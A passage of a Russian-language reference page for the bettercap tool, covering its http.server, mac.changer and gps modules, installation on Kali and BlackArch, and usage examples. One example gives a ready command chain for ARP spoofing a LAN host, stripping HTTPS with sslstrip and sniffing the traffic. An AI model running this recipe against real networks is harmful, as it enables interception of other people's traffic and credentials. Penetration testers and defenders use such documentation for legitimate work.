http.server.path
|
.
|
Папка сервера. |
http.server.address
|
<адрес интерфейса>
|
Адрес для привязки http сервера. |
http.server.port
|
80
|
Порт для привязки http сервера. |
http.server.certificate
|
Файл сертификата TLS, если не является пустым, сконфигурирует этот веб-сервер как HTTPS сервер (автоматически сгенеририрует, если значение заполнено, но этот файл не существует. | |
http.server.key
|
Файл ключа TLS, если не является пустым, сконфигурирует этот веб-сервер как HTTPS сервер (автоматически сгенеририрует, если значение заполнено, но этот файл не существует. |
Примеры
Команда для запуска веб-сервера, корневой папкой веб-сайтов является /var/www/html:
sudo bettercap -eval "set http.server.path /var/www/html; http.server on"
mac.changer
Меняет mac адрес выбранного интерфейса.
Команды
команда | описание |
---|---|
mac.changer on
|
Запустить модуль изменения mac. |
mac.changer off
|
Остановить модуль изменения mac и восстановить оригинальный mac адрес. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
mac.changer.iface
|
<имя интерфейса>
|
Имя интерфейса для использования. |
mac.changer.address
|
<случайный mac>
|
Аппаратный адрес, который будет применён к интерфейсу. |
gps
Модуль, общающийся с апаратурой GPS на последовательном интерфейсе.
Команды
команда | описание |
---|---|
gps on
|
Запустить получение данных с аппаратуры GPS. |
gps off
|
Остановить получение данных с аппаратуры GPS. |
gps.show
|
Показать последние координаты, возвращённые GPS аппаратурой. |
Параметры
параметр | значение по умолчанию | описание |
---|---|---|
gps.device
|
/dev/ttyUSB0
|
Последовательное устройство GPS. |
gps.baudrate
|
19200
|
Скорость передачи данных последовательного устройства GPS. |
Примеры
Включить GPS, подождать 5 секунд и затем показать текущие координаты:
> gps on; sleep 5; gps.show
Примеры запуска bettercap
Программа должна запускаться с правами суперпользователя:
sudo bettercap
Далее команды вводятся в интерактивном режиме.
Чтобы показать список обнаруженных хостов в локальной сети:
net.show
Для запуска ARP-спуфинга и сниффинга в отношении локального IP 192.168.0.90, в результате будет выполняться непрерывный ARP-спуфинг данного адреса, что приведёт к тому, что трафик будет перенаправлен на машину атакующего, на прозрачный HTTP прокси, где, по возможности, с помощью sslstrip будет сделан переход с HTTPS на HTTP, вербальность сниффера понижена, чтобы не выводились не интересующие нас данные:
set http.proxy.sslstrip true set net.sniff.verbose false set arp.spoof.targets 192.168.0.90 arp.spoof on http.proxy on net.sniff on
Установка bettercap
Установка в Kali Linux
sudo apt install bettercap
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты bettercap
Инструкции по bettercap
- Новая версия bettercap 2.x: как установить и использовать в Kali Linux
- Что такое Bluetooth Low Energy (BLE) и как его взламывают
- Взлом компьютера через беспроводную мышь или клавиатуру
Comments are Closed